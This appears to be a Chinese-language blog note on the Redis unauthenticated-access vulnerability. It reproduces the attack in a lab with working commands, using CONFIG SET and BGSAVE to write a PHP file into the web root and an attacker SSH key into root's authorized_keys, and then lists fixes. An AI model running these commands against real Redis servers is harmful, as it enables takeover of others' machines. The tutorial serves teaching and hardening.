Redis匿名訪問漏洞
- 2019 年 10 月 8 日
- 筆記
簡介
Redis
匿名訪問漏洞也被稱為 Redis
未授權訪問漏洞。是由於 Redis
服務本身的特性及其運維不當造成的
Redis資料庫介紹
Redis
是一個資料庫系統,其項目也在 github
上開源。 Redis
是一個高性能的 key-value
的 NOSQL
資料庫系統, Redis
使用 ANSI C語言
編寫、支援網路、可基於記憶體亦可持久化的日誌型的資料庫系統。
Redis的儲存方式
Redis
的數據雖然被寫入到記憶體中,但是可以被保存到硬碟里,保存的形式一般有兩種: RDB
和 AOF
。 RDB
的儲存形式類似於 ,MySQL
調用 msqldump
來儲存數據,而 AOF
的儲存形式則是把 Redis
里生成數據的過程步驟給保存到一個文件里。
漏洞原理
Redis
的默認配置文件中,會綁定 0.0.0.0:6379
,這樣 Redis
會監聽一切 IP
,接收一切 IP
的請求。如果沒有採用添加防火牆規則等相關安全策略來屏蔽非信任來源 IP
訪問的話,會使 Redis
服務暴露在公網,從而被任意用戶請求來進行登錄。 Redis
默認沒有設置密碼認證,沒有進行相應的密碼驗證會導致任意 用戶免密登錄 Redis
,從而讀取 Redis
的數據、篡改 Redis
的數據或者更高危的操作。
安裝Redis
$ wget $ tar -zxvf redis $ cd redis/ $ make && make install $ make test
配置部署
測試環境
靶機 IP
:192.168.1.10 滲透機 IP
:192.168.1.11
Redis的配置
# 配置配置文件 $ cat redis.config daemonize yes # 以守護進程方式運行 port 6379 # 綁定本機埠 dir "." logfile "redis-6379.log # 日誌文件 protected-mode no # 關閉保護模式 # 啟動Redis $ redis-server redis-hack.conf
Redis
的 protected-mode
是 3.2
後加入的新特性,因為我這裡使用的是 4.0
的版本,要復現的話要關閉。
漏洞復現過程
登錄
在 192.168.1.11
主機上,因為 Redis
沒有做任何安全措施,所以可以直接登錄:
$ redis-cli -h 192.168.1.10 -p 6379
登錄成功。

寫WebShell
原理
Redis
運行時的數據都保存在記憶體中,如果想要備份數據,可以以 RDB
的形式保存在硬碟。
操作
192.168.1.10:6379> config set dir /var/www/html/ # 把要保存的RDB文件設置要網站根目錄下、 192.168.1.10:6379> config set dbfilename hack.php # 拿Webshell 192.168.1.10:6379> set webshell "<?php phpinfo();>" # 把一個叫做webshell的key的值設置成phpinfo函數 192.168.1.10:6379> bgsave # 調用Redis的RDB保存命令

瀏覽器訪問 192.168.1.10/redis.php
,看到 phpinfo
函數執行成功:

這就意味我們有更多的東西可以寫入,包括寫入 WebShell
等等。
配置免密登錄
生成ssh-keygen
先在 192.168.1.11
的滲透主機上生成 ssh
的私鑰與公鑰:
$ ssh-keygen -t rsa $ (echo -e "nn";cat id_rsa.pub; echo -e "nn") > hack.txt # 保存公鑰到hack.txt中 $ cat hack.txt | redis-cli -h 192.168.1.10 -p 6379 -x set hack-it # 把公鑰寫入到redis主機 OK
再在 192.168.1.11
的滲透主機上登錄 Redis
主機:
$ redis-cli -h 192.168.1.10 -p 6379
登錄成後配置 RDB
的儲存方式:
192.168.1.10:6379> config set dir /root/.ssh/ 192.168.1.10:6379> config set dbfilename authorized_keys 192.168.1.10:6379> bgsave # fork一個子進程進行RDB的保存

然後通過 ssh
連接機器:
$ ssh -i id_rsa [email protected]
可以看到登錄成功。

修復
低許可權運行Redis
避免 root
用戶啟動 Redis
服務。而選擇一些許可權比較低的用戶運行 Redis
。
$ groupadd -r redis && useradd -r -g redis redis
禁止命令
通過修改配置文件來禁止一些高風險的命令。
$ vim redis.conf ... rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" ...
添加密碼認證
通過配置文件
$ vim redis.conf requirepass PASSWORD
也可以通過 Redis
的命令行:
127.0.0.1:6379> config set requirepass PASSWORD
禁止外網訪問
通過防火牆等配置來禁止外網訪問。
總結
Redis
匿名訪問漏洞由不安全的運維配置引起的,作為配置 Redis
的開發人員或運維人員一定要有一定的安全意識,才能更好的實現真正的安全。